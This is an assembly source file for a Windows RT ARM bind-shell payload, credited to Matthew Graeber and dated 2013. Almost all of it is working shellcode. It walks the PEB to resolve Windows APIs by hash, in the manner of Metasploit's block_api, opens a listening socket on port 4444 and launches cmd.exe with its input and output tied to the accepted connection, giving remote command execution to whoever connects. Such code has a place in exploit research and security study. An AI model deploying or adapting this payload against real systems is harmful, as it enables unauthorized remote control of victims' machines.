; Title: Windows RT ARM Bind Shell (Port 4444)
; Date: July 28, 2013
; Author: Matthew Graeber (@mattifestation)
; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License: BSD 3-Clause
; Syntax: MASM
; Notes: In order for this to work properly, you have to call this payload
; at baseaddress + 1 since it is thumb code.
; This was built with armasm.exe from Visual Studio 2012
AREA |.foo|, CODE, THUMB
; After linking, the resulting executable will only
; have a single section (with RX permissions) named .foo
EXPORT main
main
push {r4,lr} ; Preserve registers on the stack
bl ExecutePayload ; Execute bind shell function
pop {r4,pc} ; Restore registers on the stack and return to caller
GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
push {r1-r11,lr} ; Preserve registers on the stack
mov r9,r0 ; Save the function hash in R9
mrc p15,#0,r3,c13,c0,#2 ; R3 = &TEB
ldr r3,[r3,#0x30] ; R3 = &PEB
ldr r3,[r3,#0xC] ; R3 = PEB->Ldr
movs r6,#0 ; R6 = 0
ldr r1,[r3,#0xC] ; R1 = Ldr->InLoadOrderModuleList
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
cbz r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0.
mov r10,#0xD ; R10 = ROR value (13)
mov r11,#0xD ; R11 = ROR value (13)
get_module_hash ; Improvement: Need to validate MaximumLength != 0
ldrh r5,[sp,#2] ; BaseDllName.MaximumLength
movs r2,#0 ; i = 0
cbz r5,get_export_dir ; Reached the last char of BaseDllName
ror_module_char
ldrsb r3,[r7,r2] ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
rors r0,r6,r10 ; Calculate the next portion of the module hash
cmp r3,#0x61 ; Is the character lower case?
blt notlowercase
adds r3,r3,r0 ; Add to the running hash value
subs r6,r3,#0x20 ; Convert character to upper case
b get_next_char
notlowercase
adds r6,r3,r0 ; Add to the running hash value
get_next_char
adds r2,#1 ; Move to the next character
cmp r2,r5 ; Reached the last character in the module name?
bcc ror_module_char ; If not, move on to the next character
get_export_dir
; At this point, the module hash has been calculated.
; Now begin calculating the function hash
ldr r3,[r4,#0x3C] ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
adds r3,r3,r4 ; PIMAGE_NT_HEADERS
ldr r3,[r3,#0x78] ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
cbz r3,get_next_module ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
adds r5,r3,r4 ; Calculate export dir virtual address
ldr r3,[r5,#0x20] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
ldr r7,[r5,#0x18] ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
movs r0,#0
adds r8,r3,r4 ; AddressOfNames VA
cbz r7,get_next_module ; Move on to the next module if there are no exported names
calc_func_hash
ldr r3,[r8],#4 ; R3 = Current name RVA
movs r2,#0
adds lr,r3,r4 ; lr = Current name VA
get_func_char
ldrsb r3,[lr] ; Load char from the function name
rors r2,r2,r11 ; Calculate the next portion of the function hash
adds r2,r2,r3 ; Add to the running hash value
ldrsb r3,[lr],#1 ; Peek at the next char
cmp r3,#0 ; Are you at the end of the function string?
bne get_func_char ; If not, calculate hash for the next char.
adds r3,r2,r6 ; Add the module hash to the function hash
cmp r3,r9 ; Does the calulated hash match the hash provided?
beq get_func_addr
adds r0,#1
cmp r0,r7 ; Are there more functions to process?
bcc calc_func_hash
get_next_module
ldr r1,[r1] ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
movs r6,#0 ; Clear the function hash
; Improvement: The following portion is redundant
ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
cmp r4,#0 ; DllBase == 0?
str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack
bne get_module_hash
exit_failure
movs r0,#0 ; Return 0 upon failure to find a matching hash
exit_success
pop {r1-r11,pc} ; Restore stack and return to caller with the function address in R0
get_func_addr
ldr r3,[r5,#0x24] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
add r3,r3,r0,lsl #1
ldrh r2,[r3,r4] ; R2 = Ordinal table index
ldr r3,[r5,#0x1C] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
add r3,r3,r2,lsl #2
ldr r3,[r3,r4] ; Function RVA
adds r0,r3,r4 ; R0 = Function VA
b exit_success
ExecutePayload
; Improvement: None of the calls to GetProcAddress
; validate that a valid address was actually returned
; Metasploit shellcode doesn't perform this validation either. :P
push {r4-r11,lr} ; Preserve registers on the stack
subw sp,sp,#0x214 ; Allocate soace on the stack for local variables
movs r3,#0x44 ; sizeof(_PROCESS_INFORMATION)
add r2,sp,#0x38 ; R2 = &StartupInfo
movs r1,#0
init_mem1
; Improvement: I could just initialize everything on the stack to 0
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem1
movs r3,#0x10 ; sizeof(_STARTUPINFOW)
add r2,sp,#0x28 ; R2 = &ProcessInformation
init_mem2
strb r1,[r2],#1 ; Set current byte to 0
subs r3,#1
bne init_mem2
ldr r0,HASH_LoadLibraryA
bl GetProcAddress
mov r3,r0
adr r0,module_name ; &"ws2_32.dll"
blx r3 ; LoadLibrary("ws2_32.dll");
ldr r0,HASH_WsaStartup
bl GetProcAddress
mov r4,r0
ldr r0,HASH_WsaSocketA
bl GetProcAddress
mov r5,r0
ldr r0,HASH_Bind
bl GetProcAddress
mov r6,r0
ldr r0,HASH_Listen
bl GetProcAddress
mov r7,r0
ldr r0,HASH_Accept
bl GetProcAddress
mov r8,r0
ldr r0,HASH_CloseSocket
bl GetProcAddress
mov r9,r0
ldr r0,HASH_CreateProcess
bl GetProcAddress
mov r10,r0
ldr r0,HASH_WaitForSingleObject
bl GetProcAddress
mov r11,r0
mov r0,#0x0202
add r1,sp,#0x80
blx r4 ; WSAStartup(MAKEWORD(2, 2), &WSAData);
movs r3,#0
movs r2,#0
movs r1,#1
movs r0,#2
str r3,[sp,#4]
str r3,[sp]
blx r5 ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
movs r3,#2 ; service.sin_family = AF_INET;
strh r3,[sp,#0x18]
movs r3,#0 ; service.sin_addr.s_addr = 0;
str r3,[sp,#0x1C]
mov r3,#0x5C11 ; service.sin_port = HTONS(4444);
movs r2,#0x10
add r1,sp,#0x18
strh r3,[sp,#0x1A]
mov r5,r0 ; WSASocketA returned socket (s)
blx r6 ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
movs r1,#0
mov r0,r5
blx r7 ; Listen( s, 0 );
movs r2,#0
movs r1,#0
mov r0,r5
blx r8 ; AcceptedSocket = Accept( s, 0, 0 );
mov r4,r0
mov r0,r5
blx r9 ; CloseSocket( s ); Close the original socket
mov r3,#0x101 ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
str r3,[sp,#0x64]
movs r3,#0x44 ; StartupInfo.cb = 68;
str r3,[sp,#0x38]
add r3,sp,#0x28
str r3,[sp,#0x14]
add r3,sp,#0x38
str r3,[sp,#0x10]
movs r3,#0
str r3,[sp,#0xC]
str r3,[sp,#8]
str r3,[sp,#4]
movs r3,#1
adr r1,cmdline ; &"cmd"
str r3,[sp]
movs r3,#0
movs r2,#0
movs r0,#0
str r4,[sp,#0x78] ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
str r4,[sp,#0x74] ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
str r4,[sp,#0x70] ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
blx r10 ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
ldr r0,[sp,#0x28]
mvn r1,#0
blx r11 ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
addw sp,sp,#0x214
pop {r4-r11,pc}
HASH_WaitForSingleObject
DCD 0x601d8708
HASH_CreateProcess
DCD 0x863fcc79
HASH_CloseSocket
DCD 0x614d6e75
HASH_Accept
DCD 0xe13bec74
HASH_Listen
DCD 0xff38e9b7
HASH_Bind
DCD 0x6737dbc2
HASH_WsaSocketA
DCD 0xe0df0fea
HASH_WsaStartup
DCD 0x006b8029
HASH_LoadLibraryA
DCD 0x0726774c
cmdline
DCB "cmd", 0x0
module_name
DCB "ws2_32.dll", 0x0
END